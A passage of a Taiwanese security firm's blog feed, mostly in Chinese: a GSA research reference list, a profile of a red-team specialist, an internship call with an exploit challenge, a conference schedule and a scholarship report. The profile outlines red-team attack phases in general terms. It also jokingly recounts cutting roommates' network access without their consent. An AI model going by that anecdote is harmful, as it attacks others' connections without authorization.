contact with. Although it is not detailed in this article, the Java Security Manager and the Linux Kernel’s seccomp are both technologies used in the GSA, and this research has also left some goals for further study:</p> <ul> <li>The feedergate service listening on port 19900.</li> <li>Memory vulnerabilities in Oracle’s Outside-in Technology for converting file formats.</li> <li>The convert_to_html seccomp sandbox</li> </ul> <p>We will share when there are some research results, See you next time.</p> <h3 id="other-reference-links">Other reference links</h3> <ul> <li><a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf">https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf</a></li> <li><a href="https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/">https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/</a></li> <li><a href="https://www.exploit-db.com/exploits/1333">https://www.exploit-db.com/exploits/1333</a></li> <li><a href="https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&amp;context=jdfsl">https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&amp;context=jdfsl</a></li> <li><a href="https://www.anandtech.com/show/2407">https://www.anandtech.com/show/2407</a></li> <li><a href="https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ">https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ</a></li> <li><a href="https://github.com/google/subpar">https://github.com/google/subpar</a></li> <li><a href="https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/">https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/</a></li> <li><a href="https://github.com/kubernetes/kubernetes/issues/57760#issuecomment-356466614">https://github.com/kubernetes/kubernetes/issues/57760#issuecomment-356466614</a></li> <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2014-0362">https://nvd.nist.gov/vuln/detail/CVE-2014-0362</a></li> </ul> https://devco.re/blog/2023/07/07/a-journey-into-hacking-google-search-appliance-en/ https://devco.re/blog/2023/07/07/a-journey-into-hacking-google-search-appliance-en Fri, 07 Jul 2023 00:00:00 +0800 從資安麻瓜到紅隊演練專家-Vtim <p>「提到駭客,你會想到誰?是《駭客任務》的尼歐、 V 怪客、《看臉時代》裡的小路、還是橘子?」紅隊演練專家 Vtim 笑著問道。</p> <p>目前於 DEVCORE 戴夫寇爾擔任紅隊演練專家的 Vtim,現年 27 歲,曾帶領過多次紅隊演練專案,擁有數十場紅隊演練經驗,也有豐富的資安競賽及國際企業漏洞獎勵計畫經驗,亦通過 OSCP、OSWE 認證,具備專業的 Web 檢測與內網滲透能力。「我其他身份是漏洞賞金獵人跟業餘 CTF 玩家!」Vtim說。</p> <h3 id="ctf-意外得名--從此走上資安路">CTF 意外得名 從此走上資安路</h3> <p><img src="/assets/img/blog/20230526/1.png" alt="" /> <em>大學前兩年,Vtim 的課後活躍度遠高於課堂活躍度。</em></p> <p>「好像很多人覺得駭客就是敲敲鍵盤就能入侵了?但其實當駭客要學的東西實在太多了!」Vtim 邊說邊展示了一張密密麻麻的資安證照圖,最上面的小字則寫著「356 種證照」。大學時期就讀於國立成功大學資訊工程學系的 Vtim,坦言自己大學前兩年基本上都在翹課耍廢、忙著跑活動跟打電動,直到大三才開始好好努力、天天向上,閒著沒事就刷演算法題,大四暑假某天,室友隨口問他要不要一起參加「AIS3 新型態資安暑期課程」,沒有多想的他隨口答應後,才得知報名前要先考「CTF (Capture the Flag) pre-exam」。在此之前連「XSS」、「SQL Injection」都一問三不知的他,竟意外地拿下了第四名,自此開啟了他對資安的興趣。</p> <p>大四下學期,Vtim 卯起來找線上資安課程自學,學習各種入侵系統的原理以及攻擊手法,與此同時,室友則沉迷於 LOL 英雄聯盟,為了消除惱人的背景噪音,Vtim 試著以駭客的方式斷了室友網路。「結果他們就更吵了……一直在哀嚎!」他笑道。除此之外,他也開始試著自己打各種 CTF 線上比賽。特別的是,他沒有像其他人一樣組隊參賽累積更多分數,而是一個人摸索、學習別人的解題思路。</p> <p><img src="/assets/img/blog/20230526/2.png" alt="" /> <em>Vtim 大四下學會斷室友網路時使用的無線網卡。</em></p> <h3 id="漏洞獎勵漏洞比賽實戰證照一把罩">漏洞獎勵、漏洞比賽、實戰證照一把罩</h3> <p>大學畢業後,Vtim 進入國立臺灣科技大學資訊管理系研究所資訊安全實驗室,由吳宗成教授指導。碩士時期,Vtim 順利通過徵選,連續成為教育部「資安人才培育計畫-資安實務導師制度-臺灣好厲駭」兩屆培訓學員,導師則分別是 DEVCORE 的執行長暨共同創辦人 Allen 及首席資安研究員 Orange(同時也是 Vtim 及許多人眼中的「傳奇滲透師」),也在此時認識了許多駭客大神。除此之外,他也開始嘗試破解靶機類型的題目,拓展原本僅限於 CTF 的解題題型。</p> <p>同一時間,Vtim 也進入了資安公司實習,主要負責滲透測試的執行。也是在實習後,他才明顯感受到企業真實環境與線上比賽的差異,例如企業不像靶機一定有洞、指定滲透的系統不見得熟悉。除此之外,如何將測試時的發現轉換為企業可理解的報告,也是平時自學時少有機會學習的技能。</p> <p>為了證明自己所學的價值,Vtim 開始參與漏洞獎勵計畫,並成功發現 LINE 的漏洞,取得人生中首次漏洞獎勵的成就,獲得了 1,000 美金的獎勵。與朋友組隊參加漏洞挖掘競賽,也順利奪冠。首次嘗試挑戰 OSCP (Offensive Security Certified Professional)實戰型證照,即順利通過。Vtim 補充,考生須在 24 小時打下 5 台機器,再花 24 小時寫一份滲透測試報告,是非常考驗體力跟能力的一張證照。</p> <p><img src="/assets/img/blog/20230526/3.png" alt="" /> <em>Vtim 首次嘗試挑戰 OSCP 實戰型證照,即順利通過。</em></p> <h3 id="同事強到不禁懷疑人生--第一線學高手思路不斷成長">同事強到不禁懷疑人生 第一線學高手思路不斷成長</h3> <p>因為「所有技能點都點在攻擊」,Vtim 在研究所畢業後,尋找的也是攻擊測試相關工作。評估過後,履歷只投了 DEVCORE。「當時打 CTF 時很崇拜 Orange 跟 Angelboy,發現他們都在 DEVCORE,就覺得這間公司應該是台灣駭客技術最頂尖的,也希望能加入增強自己的實力!」他回憶。</p> <p>過五關斬六將後,Vtim 以紅隊演練專家的身份加入 DEVCORE。「一開始其實蠻挫折的,因為自己太缺乏後滲透需要的知識,經驗也不足。」Vtim 說,自己原本所學僅是單純打下主機,但實際打下主機後怎麼繞過防毒軟體、EDR、橫向移動、內網滲透,都是本來在打靶機題目較少學到的手法。此外,技術強大的同事群,也讓他不禁懷疑起自己的能力。</p> <p>但 Vtim 並未因挫折感而放棄,相反地,憑著對技術的熱情,不斷學習高手們的思路,他也不斷成長,讓自己越來越強大。「遇到困難時,我會想像這些人會怎麼做,藉此調整自己的心態和思路,在面對問題時不至於沒有方向或驚慌失措。」他由衷地說。DEVCORE 的前輩們也相當樂於分享,讓他逐漸找出解決問題的方法,也在眾多高手的刺激下,不斷精進自己。</p> <p><img src="/assets/img/blog/20230526/4.png" alt="" /> <em>Vtim(後排左二)與同事於 DEVCORE 充電週密室逃脫,訓練解題能力。</em></p> <h3 id="紅隊演練成本高--駭客專攻網路邊界">紅隊演練成本高 駭客專攻網路邊界</h3> <p>「紅隊演練」對很多人而言還是相當陌生,Vtim 解釋,紅隊演練其實是漏洞檢測服務的一種,漏洞檢測服務可分為弱點掃描、滲透測試、紅隊演練,其中紅隊演練是測試範圍最全面、最貼近現實駭客攻擊手法,且能發現營運層面缺失並檢視整體資安防禦機制,因此紅隊演練所需的人力門檻更高、使用資源更多,成本也是三者最高的。</p> <p>若要以一句話解釋紅隊演練,即是企業委任專業紅隊團隊,設法透過各種方式、甚至組合式的攻擊手法,模擬入侵企業,在時限內達成企業指定任務,如取得某台電腦的控制權或核心內網的機密資料等。他強調,許多企業將資安防禦重點放在核心網站及系統,對於駭客而言,若攻擊這類防守嚴密的區塊成本過高,則會將攻擊目標轉移到企業較網路邊界中防護較弱的系統。</p> <p>至於如何從找出網路邊界的系統進而入侵成功?他舉例,紅隊工作主要可以分成兩個階段,分別是取得外網進入點以及內網滲透,以第一階段的取得外網進入點而言,攻擊者會嘗試各種攻擊手法入侵企業內網,例如突破防守較薄弱的網路邊界主機,或從 GitHub 等線上軟體原始碼代管服務平台尋找企業洩漏的程式碼或機敏資訊以利用。此外,亦可能嘗試進行社交工程,寄送植入後門程式的釣魚信件,甚至實體前往目標公司附近進行 WiFi 封包的側錄及破解,待成功進入企業內網後,即開始第二階段的內網滲透,一步步從網路邊界進行橫向移動,最終入侵到核心網段,取得核心系統控制權或取得機密資料,達成任務目標。</p> <h3 id="與新知及時限賽跑--熱情及解題能力很重要">與新知及時限賽跑 熱情及解題能力很重要</h3> <p>對於這個職位的挑戰,Vtim 認真思考了一下,表示身為紅隊須不斷與新的技術賽跑,新的知識與架構日新月異,只能不斷持續學習與突破。此外,每次專案也都在嘗試突破自己的極限,常常遇到時限迫在眉睫但始終找不到進入點,最後才又「絕處逢生」,也需要承受一定程度的心理壓力。</p> <p>他認為,紅隊專家除了懂攻擊,還要懂得如何提供客戶專業的資安防禦建議,需要有綜觀全局的能力。「對客戶而言,攻擊不完全是重點,他們更想知道找到問題後如何緩解風險。」Vtim 表示。</p> <p><img src="/assets/img/blog/20230526/5.png" alt="" /> <em>下班後的 Vtim 還與同事組成樂團,擔任 Bass 手的角色。</em></p> <p>對於未來,Vtim 期待自己成為全能型的白帽駭客。「進攻過程會遇到很多不同的環境,不同攻擊階段也需要不同領域的技巧,我希望自己能掌握全部面向,獨力排解所有難題,達到『指哪打哪、攻擊自如』的境界。」他滿懷期待地說。</p> https://devco.re/blog/2023/05/26/from-cybersecurity-muggle-to-red-team-specialist-vtim/ https://devco.re/blog/2023/05/26/from-cybersecurity-muggle-to-red-team-specialist-vtim Fri, 26 May 2023 00:00:00 +0800 DEVCORE 2023 第三屆實習生計畫 <p>DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初也開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第二屆實習生計畫也將於今年 2 月底告一段落。我們很榮幸地宣佈,第三屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!</p> <!-- more --> <h3 id="實習內容">實習內容</h3> <p>本次實習分為 Binary 及 Web 兩個組別,主要內容如下:</p> <ul> <li>Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。 <ul> <li>漏洞挖掘及研究 70 %</li> <li>1-day 開發 (Exploitation)</li> </ul> </li> <li>Web 主要內容為研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。 <ul> <li>漏洞及攻擊手法研究 70%</li> <li>建置 Lab 30%</li> </ul> </li> </ul> <h3 id="公司地點">公司地點</h3> <p>台北市松山區八德路三段 32 號 13 樓</p> <h3 id="實習時間">實習時間</h3> <ul> <li>2023 年 3 月開始到 2023 年 7 月底,共 5 個月。</li> <li>每週工作兩天,工作時間為 10:00 – 18:00 <ul> <li>每週固定一天下午 14:00 - 18:00 必須到公司討論進度 <ul> <li>如果居住雙北外可彈性調整(但須每個組別統一)</li> </ul> </li> <li>其餘時間皆為遠端作業</li> </ul> </li> </ul> <h3 id="招募對象">招募對象</h3> <p>大專院校大三(含)以上具有一定程度資安背景的學生</p> <h3 id="預計招收名額">預計招收名額</h3> <ul> <li>Binary 組:2~3 人</li> <li>Web 組:2~3 人</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>每月新台幣 16,000 元</p> <h2 id="招募條件資格與流程">招募條件資格與流程</h2> <h3 id="實習條件要求">實習條件要求</h3> <h4 id="binary">Binary</h4> <ul> <li>基本逆向工程及除錯能力 <ul> <li>能看懂組合語言並瞭解基本 Debugger 使用技巧</li> </ul> </li> <li>基本漏洞利用能力 <ul> <li>須知道 Stack overflow、ROP 等相關利用技巧</li> </ul> </li> <li>基本 Scripting Language 開發能力 <ul> <li>Python、Ruby</li> </ul> </li> <li>具備分析大型 Open Source 專案能力 <ul> <li>以 C/C++ 為主</li> </ul> </li> <li>具備基礎作業系統知識 <ul> <li>例如知道 Virtual Address 與 Physical Address 的概念</li> </ul> </li> <li>Code Auditing <ul> <li>知道怎樣寫的程式碼會有問題 <ul> <li>Buffer Overflow</li> <li>Use After free</li> <li>Race Condition</li> <li>…</li> </ul> </li> </ul> </li> <li>具備研究熱誠,習慣了解技術本質</li> <li>加分但<strong>非必要</strong>條件 <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>樂於分享技術 <ul> <li>有公開的技術 blog/slide、Write-ups 或是演講</li> </ul> </li> <li>精通 IDA Pro 或 Ghidra</li> <li>有寫過 1-day 利用程式</li> <li>具備下列其中之一經驗 <ul> <li>Kernel Exploit</li> <li>Windows Exploit</li> <li>Browser Exploit</li> <li>Bug Bounty</li> </ul> </li> </ul> </li> </ul> <h4 id="web">Web</h4> <ul> <li>熟悉 OWASP Web Top 10。</li> <li>理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。 <ul> <li>參考連結:https://portswigger.net/web-security/all-materials</li> </ul> </li> <li>理解計算機網路的基本概念。</li> <li>熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。</li> <li>熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。</li> <li>具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。</li> <li>具備追根究柢的精神。</li> <li>加分但<strong>非必要</strong>條件 <ul> <li>曾經獨立挖掘過 0-day 漏洞。</li> <li>曾經獨立分析過已知漏洞並能撰寫 1-day exploit。</li> <li>曾經於 CTF 比賽中擔任出題者並建置過題目。</li> <li>擁有 OSCP 證照或同等能力之證照。</li> </ul> </li> </ul> <h3 id="應徵流程">應徵流程</h3> <p>本次甄選一共分為三個階段:</p> <h4 id="第一階段書面審查">第一階段:書面審查</h4> <p>第一階段為書面審查,會需要審查下列兩個項目</p> <ul> <li>書面審查</li> <li>簡答題及實作題答案 <ul> <li>應徵 Binary 實習生需額外在履歷附上下述問題答案 <ul> <li>簡答題 <ul> <li>請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。</li> </ul> </li> <li>實作題目 <ul> <li><a href="/assets/files/recruit/binary/2022_Intern_Challenge-2.zip">題目檔案</a> <ul> <li>為一個互動式的 Server,可透過網路連線與之互動。</li> </ul> </li> <li>請分析上述所提供的 Server,並利用其中的漏洞在 Windows 11 上跳出 calc.exe。 <ul> <li>漏洞可能有很多,不一定每個都可以利用。</li> </ul> </li> <li>請務必寫下解題過程及如何去分析這個 Server,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。</li> </ul> </li> </ul> </li> <li>應徵 Web 實習生需額外在履歷附上下述問題答案 <ul> <li>簡答題 <ul> <li>請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。</li> </ul> </li> </ul> </li> </ul> </li> </ul> <p>本階段收件截止時間為 <strong>2023/2/3 10:00</strong>,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在七個<strong>工作天</strong>內回覆。</p> <h4 id="第二階段能力測驗">第二階段:能力測驗</h4> <ul> <li>Binary <ul> <li>無</li> </ul> </li> <li>Web <ul> <li>第二階段會根據您的履歷或是任何可證明具備足夠 Web 滲透相關技能的資料來決定是否需要另外做題目,如果未達標準會另外準備靶機測驗,待我們收到解題過程後,將會根據您的狀況決定是否可以進入第三階段。</li> <li>本階段收件時間為 <strong>2023/2/5 23:59</strong>,建議提早遞交履歷,可以提前作答。</li> </ul> </li> </ul> <h4 id="第三階段面試">第三階段:面試</h4> <p>此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。</p> <h3 id="報名方式">報名方式</h3> <ul> <li>請將您的<strong>履歷</strong>及<strong>題目答案</strong>以 PDF 格式寄到 [email protected] <ul> <li>履歷格式請參考範例示意(<a href="/assets/files/recruit/Resume_Example.docx">DOCX</a>、<a href="/assets/files/recruit/Resume_Example.pages">PAGES</a>、<a href="/assets/files/recruit/Resume_Example.pdf">PDF</a>)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。</li> <li>請於 <strong>2023/02/03 10:00</strong> 前寄出(如果名額已滿則視情況提早結束)</li> </ul> </li> <li>信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)</li> <li>履歷內容請務必控制在三頁以內,至少需包含以下內容: <ul> <li>基本資料</li> <li>學歷</li> <li>實習經歷</li> <li>社群活動經歷</li> <li>特殊事蹟</li> <li>過去對於資安的相關研究</li> <li>對於這份實習的期望</li> <li>MBTI 職業性格測試結果(<a href="https://www.apesk.com/mbti/dati_tw.asp">測試網頁</a>)</li> </ul> </li> </ul> <p>若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!</p> https://devco.re/blog/2023/01/14/3rd-internship-program-recruit/ https://devco.re/blog/2023/01/14/3rd-internship-program-recruit Sat, 14 Jan 2023 00:00:00 +0800 DEVCORE CONFERENCE 2023 即日起開放報名 <style type="text/css"> table { width: 100%; overflow: auto; word-break: normal; word-break: keep-all; font-size: 0.7em; } table th { font-weight: bold } table th, table td { padding: 5px 11px; border: 1px solid #ddd; } table tr { background-color: #fff; border-top: 1px solid #ccc; } table tr:nth-child(2n) { background-color: #f8f8f8; } .center-image { margin: 0 auto; display: block; } </style> <p>DEVCORE 很高興地宣佈,純攻擊導向的專業技術研討會 DEVCORE CONFERENCE,在暌違三年後,將於 3 月 10 日至 3 月 11 日於台北 TICC 國際會議中心再次盛大舉行,即日起開放報名,同時為慶祝 DEVCORE 創立十週年,除了原有的駭客技術議程外,特別加開企業場。</p> <p>「DEVCORE 十年來持續提供企業頂尖的主動式資安服務,很高興看到資安與紅隊演練日漸受到台灣業界與政府單位重視,希望將我們一路累積的經驗與能量,不藏私地分享給所有志同道合的夥伴,共同為台灣資安產業的發展並肩作戰。」執行長暨共同創辦人翁浩正(Allen)表示。</p> <p>紅隊總監暨共同創辦人許復凱(Shaolin)則強調,目前台灣僅有 DEVCORE 願意公開分享紅隊進階攻擊技法,機會相當難得,而此場研討會不僅適合希望更加深入了解攻擊技術的聽眾,也很適合企業藍隊藉此了解紅隊如何看待防禦,從中獲得啟發,以了解可以強化的防禦面向,現場也將與聽眾交流技術及駭客思維。</p> <p>針對駭客場,許復凱分析,上半場將於聽眾分享紅隊在真實演練時如何運用企業與藍隊難以想像的攻擊手法,下半場則著重分享 DEVCORE 團隊對真實世界產品的研究手法,甚至也有全球白帽駭客最高殿堂 Pwn2Own 等參賽背後秘辛與趣事,場場精華,不容錯過。</p> <p>駭客場將分享最新漏洞研究及真實紅隊演練案例,包含:從零開始的 Pwn2Own 駭客大賽奪冠之路、如何以 MITRE ATT&amp;CK 框架檢視紅隊演練、SSRF 攻擊手法與實戰精華、Email 現代攻擊手法、如何將廢洞串接成 RCE 漏洞、虛擬機之安全挑戰、物聯網裝置攻擊實例。企業場則將以深入淺出的方式分享台灣資安十年更新迭代、DEVCORE 十年資安奇幻旅程、紅隊演練策略使用方式與真正價值、企業常見資安風險、最讓駭客頭痛的資安防禦機制等。</p> <h2 id="活動資訊">活動資訊</h2> <h3 id="時間">時間:</h3> <ul> <li>企業場:2023/03/10(五)13:00 - 16:30(報名審核制)</li> <li>駭客場:2023/03/11(六)08:40 - 16:20(收費制)</li> </ul> <h3 id="地點">地點:</h3> <ul> <li>TICC 台北國際會議中心 201 會議室(台北市信義區信義路五段1號)</li> </ul> <h3 id="費用">費用:</h3> <ul> <li>2023/03/10(五)企業場:免費</li> <li>2023/03/11(六)駭客場(十週年特惠價):早鳥票 3,000 元(限額 150 名);晚鳥票 5,000 元;學生票 1,500 元</li> </ul> <h2 id="議程介紹">議程介紹</h2> <h3 id="20230310五企業場">2023/03/10(五)企業場:</h3> <p>本場次專為企業決策者及資安管理者量身打造,將從 DEVCORE 為何於 2017 年發現客戶需求、首先推出紅隊演練開始,細數 5 年來我們在近 70 場紅隊演練中的珍貴發現,包含供應鏈中易被忽略的資安風險、資安策略與機制優先順序如何斟酌、資安產品有效性驗證等。</p> <p>此外,我們也將透過此場研討會,協助企業理解如何打造最適合的資安戰略,並能有效、正確使用紅隊演練此項策略工具,達到識別風險、並發揮紅隊演練最大效益。</p> <p>在企業場中,我們也特別納入企業最常見的資安問題、如何自我評估安全、如何保護網域服務(AD)等,建立資安自保觀念後,再進一步探討哪些防禦機制與產業尤難攻陷、攻擊者如何情蒐與挑選目標等。</p> <p>面對永不停歇的網路戰,建構正確的資安策略,將是迎戰的第一步,而唯有了解真實的駭客思維與攻擊方式,才能確保企業立於不敗之地。</p> <h3 id="20230311六駭客場">2023/03/11(六)駭客場:</h3> <p>本場次將深入探討最新攻擊手法與漏洞,適合資安技術人員及有興趣的資安管理階層參與。</p> <p><strong>以紅隊思維看藍隊防禦,紅藍攻防中的經典案例</strong> 具備豐富指揮作戰經驗的 DEVCORE 紅隊演練隊長 Ding,將於本場議程中分享近 70 場橫跨金融、科技、電商、傳產等各產業經典案例,並以 MITRE ATT&amp;CK 框架,逐一分析實戰經驗中使用的戰術與攻擊手法:初始入侵除了OWASP TOP 10 中常見攻擊技巧外還有哪些方式?攻擊者如何持續潛伏,且同時達成防毒軟體未示警、亦無檔案落地?攻擊者如何在網路實體隔離時仍能橫向移動?攻擊者如何以出人意料的手段提升權限?</p> <p><strong>讓流量穿過你的巴巴 - 紅隊實戰 SSRF 經典案例</strong> 儘管 SSRF 是一個歷史悠久的知名攻擊手法,攻擊者可藉此穿過外網防火牆、入侵內網,但相較於指令注入或任意檔案上傳等類 RCE 漏洞,其嚴重性似乎略遜一籌。紅隊演練專家 Vtim 將以過去於紅隊演練專案中遇到的 SSRF 真實案例,探討其究竟是報告上有名無實的高風險漏洞,或是企業仍不能忽視的重要安全問題。</p> <p><strong>I wanna know 你信不信 - 現代郵件詐術</strong> 去年於國際技能競賽網路安全職類取得銀牌的台灣國手,同時也是 DEVCORE 紅隊演練專家的 Mico,將於此場議程中分享各種企業組織與個人收信方式組合式攻擊手法,並逐一剖析攻擊者如何使用 Email 偽造欺騙以及繞過垃圾郵件過濾器,協助企業防範以 Email 做為初始入侵點的攻擊。</p> <p><strong>黑魔法、大壞蛋得崩,讓四個臭蟲變成漏洞吧!</strong> 再廢的低分漏洞也有春天!雞肋般的弱點,對紅隊而言還有任何利用價值嗎?低風險、利用機會也低的小漏洞,企業真的可以置之不理嗎?DEVCORE 資深紅隊演練專家 Cyku 及 技術專案經理 Crystal 將透過實際案例,分享攻擊者如何將四個 CVSS 幾乎 0.0 分的廢洞化腐朽為神奇,串成 RCE 漏洞。</p> <p><strong>挑戰百萬賞金!虛擬世界之密室逃脫</strong> 以虛擬機分析惡意程式是目前被廣泛採用的分析方式之一,然而其背後卻可能存在易被忽略的安全問題及漏洞。曾獲駭客奧斯卡 Pwnie Awards 「最佳伺服器漏洞」 肯定的資深資安研究員 Meh 將以 VMware 中潛藏於 DHCP 協議的漏洞為例,與聽眾分享虛擬機潛在的資安風險以及其研究成果。</p> <p><strong>Remote Door Execution</strong> 家用物聯網裝置被駭客用以監看或監聽已是廣為人知的資安問題,然而若門鎖也能被遠端遙控開啟,除了個人隱私遭到侵犯,更是居家安全的重大威脅。與研究團隊共同奪得 Pwn2Own Toronto 2022 冠軍的資安研究員 Nini,將於本場議程中分享其如何嘗試透過軟硬體攻擊,最終在電子鎖上發掘可以任意開門的漏洞。</p> <p><strong>From Zero to Hero - 從零開始的 Pwn2Own 奪冠之路</strong> DEVCORE 自 2020 年開始參與白帽駭客最高殿堂競賽 Pwn2Own,迄今拿下兩次亞軍、兩次冠軍。此場議程將由駭客界頗負盛名、屢屢獲獎並受邀演講的 DEVCORE 首席資安研究員 Orange 及資深資安研究員 Angelboy 共同主講,與會眾分享如何挑選目標、建立團隊默契、試誤與學習、與廠商之間的攻防戰等參賽背後秘辛與趣事。</p> <h2 id="議程表">議程表</h2> <h3 id="20230310五企業場-1">2023/03/10(五)企業場:</h3> <table> <thead> <tr> <th>時間</th> <th>議程</th> <th>講師</th> </tr> </thead> <tbody> <tr> <td>13:00 - 13:30</td> <td>來賓報到</td> <td>/</td> </tr> <tr> <td>13:30 - 13:40</td> <td>開幕</td> <td>/</td> </tr> <tr> <td>13:40 - 14:10</td> <td>攻擊一日,創業十年</td> <td>DEVCORE 執行長暨共同創辦人 Allen</td> </tr> <tr> <td>14:10 - 14:40</td> <td>紅隊紅隊,多少服務假汝之名而行!</td> <td>DEVCORE 商務發展總監 Aaron</td> </tr> <tr> <td>14:40 - 15:20</td> <td>中場休息</td> <td>/</td> </tr> <tr> <td>15:20 - 15:50</td> <td>紅隊常見 Q&amp;A 大解密</td> <td>DEVCORE 資深副總暨共同創辦人 Bowen</td> </tr> <tr> <td>15:50 - 16:20</td> <td>紅隊的下一步 Ver. 2023</td> <td>DEVCORE 紅隊總監暨共同創辦人 Shaolin</td> </tr> <tr> <td>16:20 - 16:30</td> <td>閉幕</td> <td>/</td> </tr> </tbody> </table> <h3 id="20230311六駭客場-1">2023/03/11(六)駭客場:</h3> <table> <thead> <tr> <th>時間</th> <th>議程</th> <th>講師</th> </tr> </thead> <tbody> <tr> <td>08:40 - 09:30</td> <td>來賓報到</td> <td>/</td> </tr> <tr> <td>09:30 - 09:40</td> <td>開幕</td> <td>/</td> </tr> <tr> <td>09:40 - 10:10</td> <td>以紅隊思維看藍隊防禦,紅藍攻防中的經典案例</td> <td>DEVCORE 紅隊演練隊長 Ding</td> </tr> <tr> <td>10:10 - 10:40</td> <td>讓流量穿過你的巴巴 - 紅隊實戰 SSRF 經典案例</td> <td>DEVCORE 紅隊演練專家 Vtim</td> </tr> <tr> <td>10:40 - 11:00</td> <td>中場休息</td> <td>/</td> </tr> <tr> <td>11:00 - 11:30</td> <td>I wanna know 你信不信 - 現代郵件詐術</td> <td>DEVCORE 紅隊演練專家 Mico</td> </tr> <tr> <td>11:30 - 12:00</td> <td>黑魔法、大壞蛋得崩,讓四個臭蟲變成漏洞吧!</td> <td>DEVCORE 資深紅隊演練專家 Cyku<br /> &amp; 技術專案經理 Crystal</td> </tr> <tr> <td>12:00 - 13:30</td> <td>午餐休息</td> <td>/</td> </tr> <tr> <td>13:30 - 14:00</td> <td>挑戰百萬賞金!虛擬世界之密室逃脫</td> <td>DEVCORE 資深資安研究員 Meh</td> </tr> <tr> <td>14:00 - 14:30</td> <td>Remote Door Execution</td> <td>DEVCORE 資安研究員 Nini</td> </tr> <tr> <td>14:30 - 15:10</td> <td>中場休息</td> <td>/</td> </tr> <tr> <td>15:10 - 16:10</td> <td>From Zero to Hero - 從零開始的 Pwn2Own 奪冠之路</td> <td>DEVCORE 首席資安研究員 Orange<br /> &amp; 資深資安研究員 Angelboy</td> </tr> <tr> <td>16:10 - 16:20</td> <td>閉幕</td> <td>/</td> </tr> </tbody> </table> <p>詳細資訊及報名方式請至 KKTIX 查詢:</p> <ul> <li>3/10 企業場:<a href="https://devcore.kktix.cc/events/devcoreconf2023-0310">https://devcore.kktix.cc/events/devcoreconf2023-0310</a></li> <li>3/11 駭客場:<a href="https://devcore.kktix.cc/events/devcoreconf2023">https://devcore.kktix.cc/events/devcoreconf2023</a></li> </ul> https://devco.re/blog/2023/01/12/DEVCORE-conference-registration-open-now/ https://devco.re/blog/2023/01/12/DEVCORE-conference-registration-open-now Thu, 12 Jan 2023 00:00:00 +0800 DEVCORE 2022 年度全國資訊安全獎學金頒獎餐敘順利落幕 <p>2022 年度「戴夫寇爾全國資訊安全獎學金」頒獎餐敘已於 12 月 17 日順利落幕。</p> <p>一路走來,無論是在我們的學習之路、創業過程中,我們都受到了來自各方的支持與協助,因此我們也希望回饋社會並培育資安人才,以獎學金的方式,協助學生建構正確資安意識及技能外,也能及早瞭解業界現況,降低產學落差。</p> <p>「戴夫寇爾全國資訊安全獎學金」每年補助 10 名在資安領域研究成果傑出的大專院校學生,每名頒發 2 萬元獎金,希望使這些資安界的明日之星得以無後顧之憂,專注精進資安技術,未來成為獨當一面的資安人才。</p> <p>此次獲獎同學遍佈全台,分別來自基隆商工資訊科、台灣師範大學資訊工程系、陽明交通大學資訊科學與工程研究所及資電亥客與安全學程、清華大學資訊安全研究所、逢甲大學資訊工程系、台中科技大學資訊管理系、南台科技⼤學資訊工程系等。獲獎同學皆將獲獎視為重要肯定,也表示希望持續精進自己,並將經驗分享給他人、回饋社會,其中也有好幾位同學希望未來能加入 DEVCORE。</p> <p>「當時受到 DEVCORE 幫助,我說未來一定找機會好好感謝 DEVCORE。但 DEVCORE 